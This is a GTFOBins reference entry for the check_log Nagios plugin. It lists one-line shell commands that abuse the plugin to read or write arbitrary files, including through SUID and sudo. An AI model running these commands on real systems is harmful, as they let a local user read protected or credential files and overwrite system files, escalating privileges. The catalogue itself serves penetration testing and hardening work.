GTFOBins.github.io/_gtfobins/check_log.md
2020-11-12 14:21:00 +01:00

706 B

description functions
This is the `check_log` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
file-read file-write suid sudo
code
LFILE=file_to_read OUTPUT=output_file umask 022 check_log -F "$LFILE" -O "$OUTPUT" cat "$OUTPUT"
code
LFILE=file_to_write INPUT=output_file umask 022 check_log -F "$INPUT" -O "$LFILE"
code
LFILE=file_to_write INPUT=output_file umask 022 ./check_log -F "$INPUT" -O "$LFILE"
code
LFILE=file_to_write INPUT=output_file umask 022 sudo check_log -F "$INPUT" -O "$LFILE"